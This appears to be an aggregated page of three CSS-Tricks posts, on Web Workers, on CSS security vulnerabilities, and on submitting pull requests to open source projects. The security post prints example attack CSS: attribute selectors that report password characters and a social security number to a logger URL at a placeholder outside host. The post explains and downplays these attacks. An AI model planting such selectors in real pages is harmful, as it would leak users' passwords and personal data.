We all feel a symptom of that regularly in the form of performance jank and non-interactivity on elements or entire sites. If we give JavaScript lots of jobs and it gets really busy doing them, then it's not doing other things, like, say, handling our event handlers quickly.

There has been an interesting point/counter-point combo recently along these lines.

Das Surma has been advocating for moving as much JavaScript off the main thread as you possibly can. In fact, when it comes to using Web Workers, he suggests:

You should always use Web Workers.

Web Workers being the primary way to run JavaScript off the main thread.

There is lots to consider, of course, but I like how he compares this to how other languages call the main thread the "UI thread." If what you are doing is UI-related, do it on the main thread; if it's not, do it off the main thread. An example? State management.

David Gilbertson must have read that and wrote:

I saw an article recently making the case that updating a Redux store was a good candidate for Web Workers because it’s not UI work (and non-UI work doesn’t belong on the main thread). Chucking the data processing over to a worker thread sounds sensible, but the idea struck me as a little, umm, academic.

David's main point, it seems to me, is that some of the hefty JavaScript things we need to do are in response to user-initiated actions where the user needs to wait for things to finish anyway, so an unresponsive UI during that time is OK. But for anything that isn't user-initiated — and takes longer than say 100ms — he agrees a Web Worker is helpful.

(Looking at that 100ms thing, it's worth noting that a major point Das Surma is making is that the world is full of low-end phones — and who knows what 100ms on a high-end phone is when translated to on a low-end phone.)

The post “Off The Main Thread” appeared first on CSS-Tricks.

CSS Security Vulnerabilities

Css Tricks - Mon, 09/09/2019 - 11:32am

Don't read that headline and get worried. I don't think CSS is a particularly dangerous security concern and, for the most part, I don't think you need to worry about it.

But every once in a while, articles tend to circulate and get some attention as to the possibilities of what CSS can do that might surprise or worry you.

Here's a little roundup.

The Visited Link Concern

This one goes like this:

  1. You put a link to a particular page on your site, say <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
  2. You style the visited state of that link like a:visited { color: pink; } which is not a default user agent style.
  3. You test the computed style of that link.
  4. If it's pink, this user is a pig tickler.
  5. You report that pig tickling information back to some server somewhere and presumably triple their pig owning insurance rates as surely the pigs will suffer extreme emotional distress over all the tickling.

You might even be able to do it entirely in CSS, because that :visited style might have like background-image: url(/data-logger/tickle.php); which is only requested by pig ticklers.

Worried? Don't be, browsers have all prevented this from being possible.

The Keylogger

This one goes like this:

  1. There is an input on the page. Perhaps a password input. Scary!
  2. You put a logger script as the value for the input's background image, but also one billion more selectors just like that such that the logger will collect and report some or all of the password.
input[value^="a"] { background: url(logger.php?v=a); }

This one isn't that easy. The value attribute of an input doesn't change just because you type into it. It does sometimes in frameworks like React though, so if you were to slip this CSS onto a login page powered by React and coded in that way then, theoretically, this CSS-powered keylogger could work.

But... in that case, JavaScript is executing on that page anyway. JavaScript is 1000× more concerning than CSS for things like this. A keylogger in JavaScript is just a couple of lines of code watching for keypress events and reporting them via Ajax.

Third-party and XSS injected inline JavaScript is now stoppable with Content Security Policy (CSP)... but so is CSS.

The Data Thief

This one goes like this:

  1. If I can get some of my nefarious CSS onto a page where you've authenticated into a site...
  2. And that site displays sensitive information like a social security number (SSN) in a pre-filled form...
  3. I can use attribute selectors to figure it out.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

A billion selectors and you've covered all the possibilities!

The inline style block whoopsie

I don't know if I'd blame CSS for this necessarily, but imagine:

<style> ... Drop in some user-generated stuff ... </style>

Perhaps you're allowing the user some CSS customization there. That's an attack vector, as they could close that style tag, open a script tag, and write nefarious JavaScript.

I'm sure there are a bunch more

Got 'em? Share 'em.

Paint me a little skeptical of how terrified I should be about CSS security vulnerabilities. I don't wanna downplay security things too much (especially third-party concerns) because I'm not an expert and security is of the utmost importance, but at the same time, I've never once heard of CSS being the attack vector for anything outside of a thought exercise. Educate me!

The post CSS Security Vulnerabilities appeared first on CSS-Tricks.

How to Contribute to an Open Source Project

Css Tricks - Mon, 09/09/2019 - 4:10am

The following is going to get slightly opinionated and aims to guide someone on their journey into open source. As a prerequisite, you should have basic familiarity with the command line and Git. If you know the concepts and want to dive right into the step by step how-to guide, check out this part of the article.

Truly, there is no one way to contribute to an open source project, and to be involved often means more than code slinging. In this article, though, we’re going to focus on the nitty-gritty of contributing a pull request (PR) to someone else’s project on GitHub.

Let's set the stage...

You come across someone's project on Github and you love it! You may even decide to use it in your own project. But there’s one small thing you notice... it could be a bug. It could be an enhancement to what’s already there. Maybe you looked through the code and found a nice, optimized way of writing things that’s a little more legible, even as small as an extra indentation in the code.

Here are some initial suggestions and instructions on where to go from here.

Look for a CONTRIBUTING.md document or Contributing Guide in the documentation

Many open source projects know that other people might want to contribute. If they find themselves answering the same question again and again, this document intends to make it easier to get everyone on the same page.

Some things you might find in a Contributing guide:

  • Style guidelines
  • Prerequisites for submitting a PR
  • How to add your change to their documentation
  • A checklist for contribution
  • Explaining the project’s architecture and setup

This document can be as simple as a few notes, or it can be so robust that it takes you a little while to read through it all (like Atom’s Contributing guide, for example).

For larger projects, it makes sense to communicate contributing guidelines up front because PRs and issues can pile up and be a real drag on a maintainer's time, sorting through contributions that might be out of the project's scope. Make sure to take some of your own time reading through this guide if it exists because your PR will require some of the maintainer's time as well.

Look through the existing issues and PRs

Before adding a new issue or submitting a PR, it’s good to check what else is out there. You might find someone has already asked about the same thing, or submitted something similar. You can check in the project's search box — I usually search through issues that are both open and closed, as it’s important to know if someone already raised my concern and perhaps the maintainer decided to go in another direction. Again, it's about saving both you and the maintainer time.

Submit an issue

Submitting issues is a core part of the PR submission process. They provide an opportunity to articulate the situation, establish context around it, and provide a forum for discussion that can be attached to the PR itself.

When submitting an issue, I like to write out what my concern is and then re-read it as if I was on the receiving end. People are human — even if what you say is technically correct, you’re not likely to get buy-in for your idea if your tone is off-putting. Consider this: you may be asking for someone to do a lot of work in their spare time. If someone asks you to do work on a Saturday, are you more likely to do so if they ask respectfully with condescension? You get the picture.

When submitting an issue, make sure you give them all the details they need to get the work done. Some things you might note:

  • If it’s a bug, then what environment you’re seeing the problem in? Is it development or production? Perhaps somewhere else?
  • If it’s a feature request, then explain the problem. Sometimes framing this from the perspective of the end user in the form of user stories can be helpful, both to conceptualize the situation and abstract it from any personal feelings.
  • If it’s a general question, then state that up front so the maintainer can avoid spending time trying to figure out if you’re asking for a bug or a feature.
  • If you’d like to submit a PR to improve on the issue, mention that you’d like to do this, then ask permission to proceed (because sometimes maintainers have other items planned you may be unaware of).
Make considerations before starting work

You're probably eager to start working on your PR by this point. But first, there are still a few customary things to check off before you dig in.

Ask first

I’m a big fan of people asking in an issue if a PR makes sense before they work on one. I don’t hold it as a strict rule, but sometimes I can save them buckets of time and going in the wrong direction if we can clarify what we both want together first. It also helps others know to not implement the same thing (assuming they, too, look through open and closed PRs.

Use labels

If you do submit an issue and everyone agrees a PR is a good idea, then it’s nice for you (or the owner of the repo) to add the label in progress. You can search labels so it’s really clear to everyone you’re working on it.

Work in small chunks!

As a maintainer, it’s frustrating when someone put in a lot of work and submits a giant honking PR that does 10 different things. It’s really tough to review, and inevitably, they’re doing six things you want, and four things you don’t. Not only that, it’s usually spread out over multiple files which is difficult to untangle. I’ve definitely closed PRs with some high-quality code I would like just because it would take forever for to review and manage it. (I will communicate that this is the issue if they would like to resubmit the work as separate PRs, though.)

In my opinion, you have about 1,000% more chance of getting your PR merged and your time spent honored if you split things over multiple, smaller PRs. I love it when people submit a PR per topic. And it can be nice, not required, if each submission is a little spaced out as well to help with the cognitive overload.

Submit your PR

These are the steps I personally use to submit a PR. You can get this done other ways, of course, but I have found the following to be effective in my experiences. Also, anything in the commands that are written in ALL CAPS is information you will need to change for your use.

First off, go to the repo, and fork a copy of the project to your personal GitHub account. Clone it locally and change directory (cd) to where it's located. (I use HTTPS, but SSH is totally fine as well.)

git clone https://github.com/YOUR-USERNAME/YOUR-FORKED-REPO.git cd into/cloned/fork-repo

Next up, add a remote upstream to the original branch. This means it will share a connection with that original branch so that you can keep in sync and pull down any updates to the project when they happen.

git remote add upstream https://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git git fetch upstream

Now you can create a new branch and give it a name that relates to the PR topic. Note that a maintainer might have a specific naming convention in mind that is documented in the repo.

git checkout -b GOOD-FORKIN-NAME

Go forth and work on your changes. Be sure to make good commit messages along the way:

git add -A git commit -m “ADDING IN A TACO DISPENSER” git push origin GOOD-FORKIN-NAME

GitHub will see the new fork and prompt you to make the PR, which is a nice, helpful touch. You click the button and fill in details: what issue does it close? you can refer to them by their number and GitHub will automatically associate it:

On the PR:

PR" />

In the Issue:

What are some of the things to note in the PR? These details help the maintainer understand context. These can be all the changes you made, they can be larger strategy or context.

And you’re on your way! &#x1f389;

You may find you need to keep your fork up-to-date with the remote, and pull their changes into yours. To do so, you would run this command:

git pull upstream master

Props to Christina Solana for her Gist which I’ve used as a reference for years and years now.

Always remember: maintainers are often swamped, sacrificing nights and weekends to keep open source projects active and updated. Being respectful, both in terms of their time, and in tone, can set you up for success in contributing.

Open source can be extremely rewarding! Knowing other people are benefitting and directly using something you contributed can be a great way to give back to the community and learn.

The post How to Contribute to an Open Source Project appeared first on CSS-Tricks.

Syndicate content
©2003 - Present Akamai Design & Development.